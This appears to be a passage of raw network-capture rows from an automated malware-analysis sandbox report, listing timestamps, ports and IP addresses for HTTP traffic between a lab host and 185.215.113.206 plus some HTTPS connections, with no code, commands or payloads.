Nov 13, 2024 18:08:35.141053915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141071081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141076088 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141091108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141118050 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141171932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141186953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141202927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141217947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141220093 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141235113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141247988 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141254902 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141263962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141271114 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141278982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141294003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141313076 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141320944 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141828060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141843081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141858101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141874075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141880989 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141889095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141906023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141910076 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141921043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141936064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.141941071 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141954899 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.141983032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142287016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142317057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142332077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142347097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142358065 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142362118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142376900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142390013 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142391920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142405987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142410040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142421007 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142432928 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142436981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142453909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142467976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142468929 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142476082 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142483950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.142497063 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.142524958 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.152993917 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.153011084 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.153022051 CET	49930	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.153028011 CET	443	49930	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.161045074 CET	49946	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.161082029 CET	443	49946	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.161160946 CET	49946	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.161334991 CET	49946	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.161346912 CET	443	49946	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.210323095 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.211946011 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.211965084 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.212433100 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.213026047 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.213108063 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.213207006 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.222393990 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.222624063 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:35.222631931 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.223099947 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.223397017 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:35.223479033 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.223534107 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:35.249255896 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.249284983 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.249321938 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.249366999 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.249398947 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.249753952 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.249764919 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.249794006 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.249799967 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.252816916 CET	49947	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.252847910 CET	443	49947	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.252903938 CET	49947	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.253065109 CET	49947	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.253073931 CET	443	49947	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.254096985 CET	49948	443	192.168.2.6	204.79.197.219
Nov 13, 2024 18:08:35.254118919 CET	443	49948	204.79.197.219	192.168.2.6
Nov 13, 2024 18:08:35.254424095 CET	49948	443	192.168.2.6	204.79.197.219
Nov 13, 2024 18:08:35.255215883 CET	49949	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.255239010 CET	443	49949	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.255327940 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.255383015 CET	49949	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.255424976 CET	49948	443	192.168.2.6	204.79.197.219
Nov 13, 2024 18:08:35.255435944 CET	443	49948	204.79.197.219	192.168.2.6
Nov 13, 2024 18:08:35.256026030 CET	49950	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.256047010 CET	443	49950	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.256097078 CET	49950	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.256249905 CET	49949	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.256259918 CET	443	49949	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.256577015 CET	49950	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.256592989 CET	443	49950	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.256692886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256711960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256742954 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256748915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256758928 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256762981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256779909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256781101 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256794930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256800890 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256810904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256819010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256834984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256850004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256881952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256895065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256927967 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256931067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256942987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256958008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256958961 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256973982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.256973982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256989002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.256992102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257004023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257009029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257019997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257025003 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257035017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257041931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257057905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257071972 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257175922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257191896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257208109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257220030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257224083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257240057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257244110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257252932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257275105 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257287979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257323027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257337093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257352114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257366896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257383108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257383108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257397890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257405996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257416010 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.257419109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257422924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257445097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257445097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257461071 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257461071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257476091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257477999 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257492065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257493973 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257505894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257525921 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257525921 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257544041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257586002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257601023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257615089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257632971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257632971 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257647991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257658005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257664919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257680893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257685900 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257695913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257711887 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257716894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257729053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257731915 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257757902 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257811069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257826090 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257842064 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257865906 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257868052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257883072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257913113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.257958889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257973909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257989883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.257991076 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258006096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258018017 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258022070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258035898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258044004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258069992 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258091927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258105993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258114100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258130074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258136988 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258157969 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258164883 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258183002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258187056 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258198023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258213043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258213997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258228064 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258229017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258241892 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258244038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258259058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258260012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258275032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258275986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258291006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258308887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258755922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258785963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258807898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258821964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258822918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258836985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258852005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258857012 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258867979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258874893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258883953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258902073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258903027 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258917093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258929014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258930922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.258949041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.258974075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259085894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259100914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259114981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259130001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259145021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259147882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259162903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259176016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259179115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259197950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259198904 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259232044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259238958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259253979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259268999 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259269953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259284019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259295940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259299040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259322882 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259322882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259339094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259361982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259382963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259387016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259397984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259413004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259421110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259429932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259438038 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259444952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259453058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259460926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259469986 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259475946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259488106 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259491920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259506941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259514093 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259521961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259537935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259541988 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259552956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259568930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259569883 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259582043 CET	49951	443	192.168.2.6	204.79.197.219
Nov 13, 2024 18:08:35.259584904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259588957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259591103 CET	443	49951	204.79.197.219	192.168.2.6
Nov 13, 2024 18:08:35.259608984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259612083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259627104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259628057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259643078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259650946 CET	49951	443	192.168.2.6	204.79.197.219
Nov 13, 2024 18:08:35.259676933 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259795904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259810925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259826899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259828091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259843111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259859085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259862900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259879112 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259884119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259895086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259910107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259911060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259928942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259937048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.259953022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.259984970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.260869026 CET	49951	443	192.168.2.6	204.79.197.219
Nov 13, 2024 18:08:35.260875940 CET	443	49951	204.79.197.219	192.168.2.6
Nov 13, 2024 18:08:35.261013985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261029959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261045933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261054039 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261061907 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261069059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261085987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261100054 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261120081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261133909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261149883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261164904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261168003 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261181116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261193037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261208057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261256933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261271954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261286974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261301041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261305094 CET	49864	80	192.168.2.6	185.215.113.206
